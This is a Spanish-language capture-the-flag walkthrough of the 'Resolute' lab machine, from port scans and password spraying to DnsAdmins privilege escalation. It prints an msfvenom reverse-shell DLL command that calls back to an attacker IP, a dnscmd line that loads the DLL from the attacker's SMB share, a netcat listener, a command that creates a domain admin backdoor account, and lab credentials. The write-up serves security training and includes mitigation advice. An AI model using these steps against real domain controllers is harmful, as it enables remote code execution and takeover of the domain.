Resolute

Resolute
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Windows Medium 07 Deciembre 2019 egre55

Escaneo de puertos

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.169
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-17 21:38 -03
Initiating SYN Stealth Scan at 21:38
Scanning 10.10.10.169 [65535 ports]
Discovered open port 53/tcp on 10.10.10.169
Discovered open port 445/tcp on 10.10.10.169
Discovered open port 139/tcp on 10.10.10.169
Discovered open port 135/tcp on 10.10.10.169
Discovered open port 47001/tcp on 10.10.10.169
Discovered open port 49668/tcp on 10.10.10.169
Discovered open port 49676/tcp on 10.10.10.169
Discovered open port 51638/tcp on 10.10.10.169
Discovered open port 49677/tcp on 10.10.10.169
Discovered open port 9389/tcp on 10.10.10.169
Discovered open port 49688/tcp on 10.10.10.169
Discovered open port 3269/tcp on 10.10.10.169
Discovered open port 5985/tcp on 10.10.10.169
Discovered open port 49664/tcp on 10.10.10.169
Discovered open port 49671/tcp on 10.10.10.169
Discovered open port 49665/tcp on 10.10.10.169
Discovered open port 3268/tcp on 10.10.10.169
Discovered open port 389/tcp on 10.10.10.169
Discovered open port 49908/tcp on 10.10.10.169
Discovered open port 88/tcp on 10.10.10.169
Discovered open port 464/tcp on 10.10.10.169
Discovered open port 593/tcp on 10.10.10.169
Discovered open port 49666/tcp on 10.10.10.169
Discovered open port 636/tcp on 10.10.10.169
Completed SYN Stealth Scan at 21:39, 21.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.169
Host is up, received user-set (0.28s latency).
Scanned at 2025-04-17 21:38:56 -03 for 22s
Not shown: 64471 closed tcp ports (reset), 1040 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
49671/tcp open  unknown          syn-ack ttl 127
49676/tcp open  unknown          syn-ack ttl 127
49677/tcp open  unknown          syn-ack ttl 127
49688/tcp open  unknown          syn-ack ttl 127
49908/tcp open  unknown          syn-ack ttl 127
51638/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.55 seconds
           Raw packets sent: 104419 (4.594MB) | Rcvd: 65718 (2.629MB)

Enumeración de versión y servicio

# Nmap 7.95 scan initiated Thu Apr 17 21:39:40 2025 as: /usr/lib/nmap/nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49676,49677,49688,49908,51638 -oN servicesScan 10.10.10.169
Nmap scan report for 10.10.10.169 (10.10.10.169)
Host is up (0.25s latency).

PORT      STATE  SERVICE      VERSION
53/tcp    open   domain       Simple DNS Plus
88/tcp    open   kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-18 00:48:14Z)
135/tcp   open   msrpc        Microsoft Windows RPC
139/tcp   open   netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open   ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp   open   kpasswd5?
593/tcp   open   ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open   tcpwrapped
3268/tcp  open   ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
5985/tcp  open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open   mc-nmf       .NET Message Framing
47001/tcp open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open   msrpc        Microsoft Windows RPC
49665/tcp open   msrpc        Microsoft Windows RPC
49666/tcp open   msrpc        Microsoft Windows RPC
49668/tcp open   msrpc        Microsoft Windows RPC
49671/tcp open   msrpc        Microsoft Windows RPC
49676/tcp open   ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open   msrpc        Microsoft Windows RPC
49688/tcp open   msrpc        Microsoft Windows RPC
49908/tcp open   msrpc        Microsoft Windows RPC
51638/tcp closed unknown
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 17 21:44:59 2025 -- 1 IP address (1 host up) scanned in 319.61 seconds

Explotación inicial

echo "10.10.10.169 Resolute.megabank.local megabank.local" >> /etc/hosts

Resolute

Resolute

Resolute

La contraseña no es valida para el usuario marko.

Resolute

Realizamos un password spraying con esa contraseña.

Resolute

La contraseña es valida para la usuario melanie.

Resolute

Resolute

Resolute

Resolute

Resolute

Enumerando desde la raíz C: utilizando dir -force para mostrar directorios ocultos, encontramos el archivo C:PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

Descubrimos las credenciales:

ryan:Serv3r4Admin4cc123!

Resolute

Nos conectamos por winrm y leemos el archivo note.txt

Resolute

Resolute

Resolute

Resolute

Resolute

ldapsearch -H ldap://10.10.10.169 -D 'melanie@megabank.local' -w 'Welcome123!' -x -b "DC=MEGABANK,DC=LOCAL" '(&(objectClass=Person)(samaccountname=ryan))' '*'

Resolute

Resolute

Escalación de privilegios (root / SYSTEM)

El usuario ryan pertenece al grupo DnsAdmins.

Los usuarios que son miembros del grupo ‘DnsAdmins’ tienen la capacidad de abusar de una característica del protocolo de gestión DNS de Microsoft para hacer que el servidor DNS cargue cualquier DLL especificada. El servicio que a su vez, ejecuta la DLL se realiza en el contexto de SYSTEM y podría utilizarse en un controlador de dominio (desde donde se ejecuta DNS normalmente) para obtener privilegios de administrador de dominio.

PowerShell

Get-ADGroupMember -Identity "DnsAdmins"

Powerview

Get-NetGroupMember -Identity "DNSAdmins"

net

net user ryan /domain

Explotación

  1. Creación de la DLL maliciosa

msfvenom puede ser utilizado para crear una DLL maliciosa que, cuando es ejecutada por DNS se conectará de nuevo a la máquina del atacante en el contexto de SYSTEM en el Domain Controller.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 -f dll > exploit.dll
  1. Creamos un recurso compartido con impacket-smbserver
impacket-smbserver -smb2support sharedFolder .
  1. Registrar la DLL.

Una vez que la DLL maliciosa se ha cargado en el objetivo, se puede utilizar el siguiente comando para registrar la DLL.

dnscmd.exe <DCName> /config /serverlevelplugindll <PathToDLL>
cmd /c dnscmd.exe localhost /config /serverlevelplugindll \\10.10.14.11\Share\exploit.dll
  1. dnscmd.exe: Es una herramienta de línea de comandos utilizada para administrar y configurar servidores DNS en entornos de Windows.
  2. resolute: Es el nombre del servidor DNS al que se enviará el comando. En este caso, “resolute” es el nombre de ejemplo del servidor al que se desea enviar la configuración.
  3. /config: Indica que se está realizando una operación de configuración en el servidor DNS.
  4. /serverlevelplugindll: Este parámetro especifica que se está configurando un complemento DLL a nivel de servidor en el servidor DNS. Los complementos DLL pueden proporcionar funcionalidades adicionales al servidor DNS.
  5. C:\Users\Ryan\Documents\exploit.dll: Esta es la ruta de la DLL que se está intentando cargar como complemento en el servidor DNS. En este caso, se está especificando la ruta completa del archivo DLL llamado “exploit.dll” ubicado en la carpeta “C:\Users\Moe\Documents”.

  6. Escucha con netcat (Atacante) En el sistema del atacante se ha configurado una escucha de netcat en el puerto especificado anteriormente en el comando msfvenom.

rlwrap nc -lnvp 4444
  1. Detener e iniciar el servicio DNS A partir de aquí, detener el servicio DNS e iniciarlo de nuevo generará un intérprete de comandos SYSTEM para el oyente netcat.
sc.exe stop dns
sc.exe start dns
  1. Persistencia Desde aquí se puede conseguir la persistencia de Administrador de Dominio. Se puede crear un nuevo usuario con privilegios de Administrador de Dominio.
net user hacker Password123 /add && net group "Domain Admins" /add hacker

Resolute

Limpieza

dnscmd.exe RESOLUTE /config /serverlevelplugindll ""

Mitigación

Asegúrese de que sólo las cuentas de administrador son miembros del grupo DNSAdmins y asegúrese de que sólo administran DNS desde sistemas de administración. Incluya DNSAdmins en la lista de grupos cuya pertenencia se examina cuidadosamente.

Revise regularmente los permisos de objetos del servidor DNS para cualquier grupo/cuenta que no debería tener acceso privilegiado.

Restringir la comunicación RPC a los DCs sólo a subredes admin.

Referencias: